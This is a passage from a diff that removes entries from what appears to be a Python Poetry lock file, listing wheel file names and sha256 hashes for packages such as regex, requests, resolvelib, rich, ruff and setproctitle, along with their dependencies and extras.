"sha256:39d8de85a08e32632974151ba59c6e9140646dcc36c80423962b1c5c0a92e244"}, - {file = "regex-2026.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:55d9304e0e7178dfb1e106c33edf834097ddf4a890e2f676f6c5118f84390f73"}, - {file = "regex-2026.4.4-cp312-cp312-win32.whl", hash = "sha256:04bb679bc0bde8a7bfb71e991493d47314e7b98380b083df2447cda4b6edb60f"}, - {file = "regex-2026.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:db0ac18435a40a2543dbb3d21e161a6c78e33e8159bd2e009343d224bb03bb1b"}, - {file = "regex-2026.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:4ce255cc05c1947a12989c6db801c96461947adb7a59990f1360b5983fab4983"}, - {file = "regex-2026.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:62f5519042c101762509b1d717b45a69c0139d60414b3c604b81328c01bd1943"}, - {file = "regex-2026.4.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3790ba9fb5dd76715a7afe34dbe603ba03f8820764b1dc929dd08106214ed031"}, - {file = "regex-2026.4.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8fae3c6e795d7678963f2170152b0d892cf6aee9ee8afc8c45e6be38d5107fe7"}, - {file = "regex-2026.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:298c3ec2d53225b3bf91142eb9691025bab610e0c0c51592dde149db679b3d17"}, - {file = "regex-2026.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e9638791082eaf5b3ac112c587518ee78e083a11c4b28012d8fe2a0f536dfb17"}, - {file = "regex-2026.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ae3e764bd4c5ff55035dc82a8d49acceb42a5298edf6eb2fc4d328ee5dd7afae"}, - {file = "regex-2026.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ffa81f81b80047ba89a3c69ae6a0f78d06f4a42ce5126b0eb2a0a10ad44e0b2e"}, - {file = "regex-2026.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f56ebf9d70305307a707911b88469213630aba821e77de7d603f9d2f0730687d"}, - {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:773d1dfd652bbffb09336abf890bfd64785c7463716bf766d0eb3bc19c8b7f27"}, - {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d51d20befd5275d092cdffba57ded05f3c436317ee56466c8928ac32d960edaf"}, - {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:0a51cdb3c1e9161154f976cb2bef9894bc063ac82f31b733087ffb8e880137d0"}, - {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ae5266a82596114e41fb5302140e9630204c1b5f325c770bec654b95dd54b0aa"}, - {file = "regex-2026.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c882cd92ec68585e9c1cf36c447ec846c0d94edd706fe59e0c198e65822fd23b"}, - {file = "regex-2026.4.4-cp313-cp313-win32.whl", hash = "sha256:05568c4fbf3cb4fa9e28e3af198c40d3237cf6041608a9022285fe567ec3ad62"}, - {file = "regex-2026.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:3384df51ed52db0bea967e21458ab0a414f67cdddfd94401688274e55147bb81"}, - {file = "regex-2026.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:acd38177bd2c8e69a411d6521760806042e244d0ef94e2dd03ecdaa8a3c99427"}, - {file = "regex-2026.4.4-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:f94a11a9d05afcfcfa640e096319720a19cc0c9f7768e1a61fceee6a3afc6c7c"}, - {file = "regex-2026.4.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:36bcb9d6d1307ab629edc553775baada2aefa5c50ccc0215fbfd2afcfff43141"}, - {file = "regex-2026.4.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:261c015b3e2ed0919157046d768774ecde57f03d8fa4ba78d29793447f70e717"}, - {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c228cf65b4a54583763645dcd73819b3b381ca8b4bb1b349dee1c135f4112c07"}, - {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:dd2630faeb6876fb0c287f664d93ddce4d50cd46c6e88e60378c05c9047e08ca"}, - {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6a50ab11b7779b849472337191f3a043e27e17f71555f98d0092fa6d73364520"}, - {file = "regex-2026.4.4-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0734f63afe785138549fbe822a8cfeaccd1bae814c5057cc0ed5b9f2de4fc883"}, - {file = "regex-2026.4.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4ee50606cb1967db7e523224e05f32089101945f859928e65657a2cbb3d278b"}, - {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6c1818f37be3ca02dcb76d63f2c7aaba4b0dc171b579796c6fbe00148dfec6b1"}, - {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f5bfc2741d150d0be3e4a0401a5c22b06e60acb9aa4daa46d9e79a6dcd0f135b"}, - {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:504ffa8a03609a087cad81277a629b6ce884b51a24bd388a7980ad61748618ff"}, - {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:70aadc6ff12e4b444586e57fc30771f86253f9f0045b29016b9605b4be5f7dfb"}, - {file = "regex-2026.4.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f4f83781191007b6ef43b03debc35435f10cad9b96e16d147efe84a1d48bdde4"}, - {file = "regex-2026.4.4-cp313-cp313t-win32.whl", hash = "sha256:e014a797de43d1847df957c0a2a8e861d1c17547ee08467d1db2c370b7568baa"}, - {file = "regex-2026.4.4-cp313-cp313t-win_amd64.whl", hash = "sha256:b15b88b0d52b179712632832c1d6e58e5774f93717849a41096880442da41ab0"}, - {file = "regex-2026.4.4-cp313-cp313t-win_arm64.whl", hash = "sha256:586b89cdadf7d67bf86ae3342a4dcd2b8d70a832d90c18a0ae955105caf34dbe"}, - {file = "regex-2026.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:2da82d643fa698e5e5210e54af90181603d5853cf469f5eedf9bfc8f59b4b8c7"}, - {file = "regex-2026.4.4-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:54a1189ad9d9357760557c91103d5e421f0a2dabe68a5cdf9103d0dcf4e00752"}, - {file = "regex-2026.4.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:76d67d5afb1fe402d10a6403bae668d000441e2ab115191a804287d53b772951"}, - {file = "regex-2026.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7cd3e4ee8d80447a83bbc9ab0c8459781fa77087f856c3e740d7763be0df27f"}, - {file = "regex-2026.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e19e18c568d2866d8b6a6dfad823db86193503f90823a8f66689315ba28fbe8"}, - {file = "regex-2026.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7698a6f38730fd1385d390d1ed07bb13dce39aa616aca6a6d89bea178464b9a4"}, - {file = "regex-2026.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:173a66f3651cdb761018078e2d9487f4cf971232c990035ec0eb1cdc6bf929a9"}, - {file = "regex-2026.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa7922bbb2cc84fa062d37723f199d4c0cd200245ce269c05db82d904db66b83"}, - {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:59f67cd0a0acaf0e564c20bbd7f767286f23e91e2572c5703bf3e56ea7557edb"}, - {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:475e50f3f73f73614f7cba5524d6de49dee269df00272a1b85e3d19f6d498465"}, - {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:a1c0c7d67b64d85ac2e1879923bad2f08a08f3004055f2f406ef73c850114bd4"}, - {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:1371c2ccbb744d66ee63631cc9ca12aa233d5749972626b68fe1a649dd98e566"}, - {file = "regex-2026.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:59968142787042db793348a3f5b918cf24ced1f23247328530e063f89c128a95"}, - {file = "regex-2026.4.4-cp314-cp314-win32.whl", hash = "sha256:59efe72d37fd5a91e373e5146f187f921f365f4abc1249a5ab446a60f30dd5f8"}, - {file = "regex-2026.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:e0aab3ff447845049d676827d2ff714aab4f73f340e155b7de7458cf53baa5a4"}, - {file = "regex-2026.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:a7a5bb6aa0cf62208bb4fa079b0c756734f8ad0e333b425732e8609bd51ee22f"}, - {file = "regex-2026.4.4-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:97850d0638391bdc7d35dc1c1039974dcb921eaafa8cc935ae4d7f272b1d60b3"}, - {file = "regex-2026.4.4-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:ee7337f88f2a580679f7bbfe69dc86c043954f9f9c541012f49abc554a962f2e"}, - {file = "regex-2026.4.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7429f4e6192c11d659900c0648ba8776243bf396ab95558b8c51a345afeddde6"}, - {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dc4f10fbd5dd13dcf4265b4cc07d69ca70280742870c97ae10093e3d66000359"}, - {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a152560af4f9742b96f3827090f866eeec5becd4765c8e0d3473d9d280e76a5a"}, - {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:54170b3e95339f415d54651f97df3bff7434a663912f9358237941bbf9143f55"}, - {file = "regex-2026.4.4-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:07f190d65f5a72dcb9cf7106bfc3d21e7a49dd2879eda2207b683f32165e4d99"}, - {file = "regex-2026.4.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9a2741ce5a29d3c84b0b94261ba630ab459a1b847a0d6beca7d62d188175c790"}, - {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b26c30df3a28fd9793113dac7385a4deb7294a06c0f760dd2b008bd49a9139bc"}, - {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:421439d1bee44b19f4583ccf42670ca464ffb90e9fdc38d37f39d1ddd1e44f1f"}, - {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:b40379b53ecbc747fd9bdf4a0ea14eb8188ca1bd0f54f78893a39024b28f4863"}, - {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:08c55c13d2eef54f73eeadc33146fb0baaa49e7335eb1aff6ae1324bf0ddbe4a"}, - {file = "regex-2026.4.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9776b85f510062f5a75ef112afe5f494ef1635607bf1cc220c1391e9ac2f5e81"}, - {file = "regex-2026.4.4-cp314-cp314t-win32.whl", hash = "sha256:385edaebde5db5be103577afc8699fea73a0e36a734ba24870be7ffa61119d74"}, - {file = "regex-2026.4.4-cp314-cp314t-win_amd64.whl", hash = "sha256:5d354b18839328927832e2fa5f7c95b7a3ccc39e7a681529e1685898e6436d45"}, - {file = "regex-2026.4.4-cp314-cp314t-win_arm64.whl", hash = "sha256:af0384cb01a33600c49505c27c6c57ab0b27bf84a74e28524c92ca897ebdac9d"}, - {file = "regex-2026.4.4.tar.gz", hash = "sha256:e08270659717f6973523ce3afbafa53515c4dc5dcad637dc215b6fd50f689423"}, -] - -[[package]] -name = "requests" -version = "2.33.1" -description = "Python HTTP for Humans." -optional = false -python-versions = ">=3.10" -groups = ["main", "dev", "docs"] -files = [ - {file = "requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a"}, - {file = "requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517"}, -] - -[package.dependencies] -certifi = ">=2023.5.7" -charset_normalizer = ">=2,<4" -idna = ">=2.5,<4" -urllib3 = ">=1.26,<3" - -[package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<8)"] - -[[package]] -name = "requests-file" -version = "3.0.1" -description = "File transport adapter for Requests" -optional = false -python-versions = "*" -groups = ["main", "dev"] -files = [ - {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, - {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, -] - -[package.dependencies] -requests = ">=1.0.0" - -[[package]] -name = "resolvelib" -version = "1.0.1" -description = "Resolve abstract dependencies into concrete ones" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf"}, - {file = "resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309"}, -] - -[package.extras] -examples = ["html5lib", "packaging", "pygraphviz", "requests"] -lint = ["black", "flake8", "isort", "mypy", "types-requests"] -release = ["build", "towncrier", "twine"] -test = ["commentjson", "packaging", "pytest"] - -[[package]] -name = "rich" -version = "15.0.0" -description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" -optional = false -python-versions = ">=3.9.0" -groups = ["main"] -files = [ - {file = "rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb"}, - {file = "rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36"}, -] - -[package.dependencies] -markdown-it-py = ">=2.2.0" -pygments = ">=2.13.0,<3.0.0" - -[package.extras] -jupyter = ["ipywidgets (>=7.5.1,<9)"] - -[[package]] -name = "ruff" -version = "0.15.10" -description = "An extremely fast Python linter and code formatter, written in Rust." -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "ruff-0.15.10-py3-none-linux_armv6l.whl", hash = "sha256:0744e31482f8f7d0d10a11fcbf897af272fefdfcb10f5af907b18c2813ff4d5f"}, - {file = "ruff-0.15.10-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:b1e7c16ea0ff5a53b7c2df52d947e685973049be1cdfe2b59a9c43601897b22e"}, - {file = "ruff-0.15.10-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93cc06a19e5155b4441dd72808fdf84290d84ad8a39ca3b0f994363ade4cebb1"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83e1dd04312997c99ea6965df66a14fb4f03ba978564574ffc68b0d61fd3989e"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8154d43684e4333360fedd11aaa40b1b08a4e37d8ffa9d95fee6fa5b37b6fab1"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ab88715f3a6deb6bde6c227f3a123410bec7b855c3ae331b4c006189e895cef"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a768ff5969b4f44c349d48edf4ab4f91eddb27fd9d77799598e130fb628aa158"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ee3ef42dab7078bda5ff6a1bcba8539e9857deb447132ad5566a038674540d0"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51cb8cc943e891ba99989dd92d61e29b1d231e14811db9be6440ecf25d5c1609"}, - {file = "ruff-0.15.10-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e59c9bdc056a320fb9ea1700a8d591718b8faf78af065484e801258d3a76bc3f"}, - {file = "ruff-0.15.10-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:136c00ca2f47b0018b073f28cb5c1506642a830ea941a60354b0e8bc8076b151"}, - {file = "ruff-0.15.10-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8b80a2f3c9c8a950d6237f2ca12b206bccff626139be9fa005f14feb881a1ae8"}, - {file = "ruff-0.15.10-py3-none-musllinux_1_2_i686.whl", hash = "sha256:e3e53c588164dc025b671c9df2462429d60357ea91af7e92e9d56c565a9f1b07"}, - {file = "ruff-0.15.10-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b0c52744cf9f143a393e284125d2576140b68264a93c6716464e129a3e9adb48"}, - {file = "ruff-0.15.10-py3-none-win32.whl", hash = "sha256:d4272e87e801e9a27a2e8df7b21011c909d9ddd82f4f3281d269b6ba19789ca5"}, - {file = "ruff-0.15.10-py3-none-win_amd64.whl", hash = "sha256:28cb32d53203242d403d819fd6983152489b12e4a3ae44993543d6fe62ab42ed"}, - {file = "ruff-0.15.10-py3-none-win_arm64.whl", hash = "sha256:601d1610a9e1f1c2165a4f561eeaa2e2ea1e97f3287c5aa258d3dab8b57c6188"}, - {file = "ruff-0.15.10.tar.gz", hash = "sha256:d1f86e67ebfdef88e00faefa1552b5e510e1d35f3be7d423dc7e84e63788c94e"}, -] - -[[package]] -name = "setproctitle" -version = "1.3.7" -description = "A Python module to customize the process title" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "setproctitle-1.3.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cf555b6299f10a6eb44e4f96d2f5a3884c70ce25dc5c8796aaa2f7b40e72cb1b"}, - {file = "setproctitle-1.3.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:690b4776f9c15aaf1023bb07d7c5b797681a17af98a4a69e76a1d504e41108b7"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:00afa6fc507967d8c9d592a887cdc6c1f5742ceac6a4354d111ca0214847732c"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9e02667f6b9fc1238ba753c0f4b0a37ae184ce8f3bbbc38e115d99646b3f4cd3"}, - {file = "setproctitle-1.3.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:83fcd271567d133eb9532d3b067c8a75be175b2b3b271e2812921a05303a693f"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:13fe37951dda1a45c35d77d06e3da5d90e4f875c4918a7312b3b4556cfa7ff64"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a05509cfb2059e5d2ddff701d38e474169e9ce2a298cf1b6fd5f3a213a553fe5"}, - {file = "setproctitle-1.3.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6da835e76ae18574859224a75db6e15c4c2aaa66d300a57efeaa4c97ca4c7381"}, - {file = "setproctitle-1.3.7-cp310-cp310-win32.whl", hash = "sha256:9e803d1b1e20240a93bac0bc1025363f7f80cb7eab67dfe21efc0686cc59ad7c"}, - {file = "setproctitle-1.3.7-cp310-cp310-win_amd64.whl", hash = "sha256:a97200acc6b64ec4cada52c2ecaf1fba1ef9429ce9c542f8a7db5bcaa9dcbd95"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:a600eeb4145fb0ee6c287cb82a2884bd4ec5bbb076921e287039dcc7b7cc6dd0"}, - {file = "setproctitle-1.3.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:97a090fed480471bb175689859532709e28c085087e344bca45cf318034f70c4"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:1607b963e7b53e24ec8a2cb4e0ab3ae591d7c6bf0a160feef0551da63452b37f"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a20fb1a3974e2dab857870cf874b325b8705605cb7e7e8bcbb915bca896f52a9"}, - {file = "setproctitle-1.3.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f8d961bba676e07d77665204f36cffaa260f526e7b32d07ab3df6a2c1dfb44ba"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:db0fd964fbd3a9f8999b502f65bd2e20883fdb5b1fae3a424e66db9a793ed307"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:db116850fcf7cca19492030f8d3b4b6e231278e8fe097a043957d22ce1bdf3ee"}, - {file = "setproctitle-1.3.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:316664d8b24a5c91ee244460bdaf7a74a707adaa9e14fbe0dc0a53168bb9aba1"}, - {file = "setproctitle-1.3.7-cp311-cp311-win32.whl", hash = "sha256:b74774ca471c86c09b9d5037c8451fff06bb82cd320d26ae5a01c758088c0d5d"}, - {file = "setproctitle-1.3.7-cp311-cp311-win_amd64.whl", hash = "sha256:acb9097213a8dd3410ed9f0dc147840e45ca9797785272928d4be3f0e69e3be4"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:2dc99aec591ab6126e636b11035a70991bc1ab7a261da428491a40b84376654e"}, - {file = "setproctitle-1.3.7-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdd8aa571b7aa39840fdbea620e308a19691ff595c3a10231e9ee830339dd798"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2906b6c7959cdb75f46159bf0acd8cc9906cf1361c9e1ded0d065fe8f9039629"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6915964a6dda07920a1159321dcd6d94fc7fc526f815ca08a8063aeca3c204f1"}, - {file = "setproctitle-1.3.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cff72899861c765bd4021d1ff1c68d60edc129711a2fdba77f9cb69ef726a8b6"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b7cb05bd446687ff816a3aaaf831047fc4c364feff7ada94a66024f1367b448c"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:3a57b9a00de8cae7e2a1f7b9f0c2ac7b69372159e16a7708aa2f38f9e5cc987a"}, - {file = "setproctitle-1.3.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d8828b356114f6b308b04afe398ed93803d7fca4a955dd3abe84430e28d33739"}, - {file = "setproctitle-1.3.7-cp312-cp312-win32.whl", hash = "sha256:b0304f905efc845829ac2bc791ddebb976db2885f6171f4a3de678d7ee3f7c9f"}, - {file = "setproctitle-1.3.7-cp312-cp312-win_amd64.whl", hash = "sha256:9888ceb4faea3116cf02a920ff00bfbc8cc899743e4b4ac914b03625bdc3c300"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c3736b2a423146b5e62230502e47e08e68282ff3b69bcfe08a322bee73407922"}, - {file = "setproctitle-1.3.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3384e682b158d569e85a51cfbde2afd1ab57ecf93ea6651fe198d0ba451196ee"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0564a936ea687cd24dffcea35903e2a20962aa6ac20e61dd3a207652401492dd"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5d1cb3f81531f0eb40e13246b679a1bdb58762b170303463cb06ecc296f26d0"}, - {file = "setproctitle-1.3.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a7d159e7345f343b44330cbba9194169b8590cb13dae940da47aa36a72aa9929"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b5074649797fd07c72ca1f6bff0406f4a42e1194faac03ecaab765ce605866f"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:61e96febced3f61b766115381d97a21a6265a0f29188a791f6df7ed777aef698"}, - {file = "setproctitle-1.3.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:047138279f9463f06b858e579cc79580fbf7a04554d24e6bddf8fe5dddbe3d4c"}, - {file = "setproctitle-1.3.7-cp313-cp313-win32.whl", hash = "sha256:7f47accafac7fe6535ba8ba9efd59df9d84a6214565108d0ebb1199119c9cbbd"}, - {file = "setproctitle-1.3.7-cp313-cp313-win_amd64.whl", hash = "sha256:fe5ca35aeec6dc50cabab9bf2d12fbc9067eede7ff4fe92b8f5b99d92e21263f"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:10e92915c4b3086b1586933a36faf4f92f903c5554f3c34102d18c7d3f5378e9"}, - {file = "setproctitle-1.3.7-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:de879e9c2eab637f34b1a14c4da1e030c12658cdc69ee1b3e5be81b380163ce5"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c18246d88e227a5b16248687514f95642505000442165f4b7db354d39d0e4c29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7081f193dab22df2c36f9fc6d113f3793f83c27891af8fe30c64d89d9a37e152"}, - {file = "setproctitle-1.3.7-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cc9b901ce129350637426a89cfd650066a4adc6899e47822e2478a74023ff7c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:80e177eff2d1ec172188d0d7fd9694f8e43d3aab76a6f5f929bee7bf7894e98b"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:23e520776c445478a67ee71b2a3c1ffdafbe1f9f677239e03d7e2cc635954e18"}, - {file = "setproctitle-1.3.7-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5fa1953126a3b9bd47049d58c51b9dac72e78ed120459bd3aceb1bacee72357c"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win32.whl", hash = "sha256:4a5e212bf438a4dbeece763f4962ad472c6008ff6702e230b4f16a037e2f6f29"}, - {file = "setproctitle-1.3.7-cp313-cp313t-win_amd64.whl", hash = "sha256:cf2727b733e90b4f874bac53e3092aa0413fe1ea6d4f153f01207e6ce65034d9"}, - {file = "setproctitle-1.3.7-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:80c36c6a87ff72eabf621d0c79b66f3bdd0ecc79e873c1e9f0651ee8bf215c63"}, - {file = 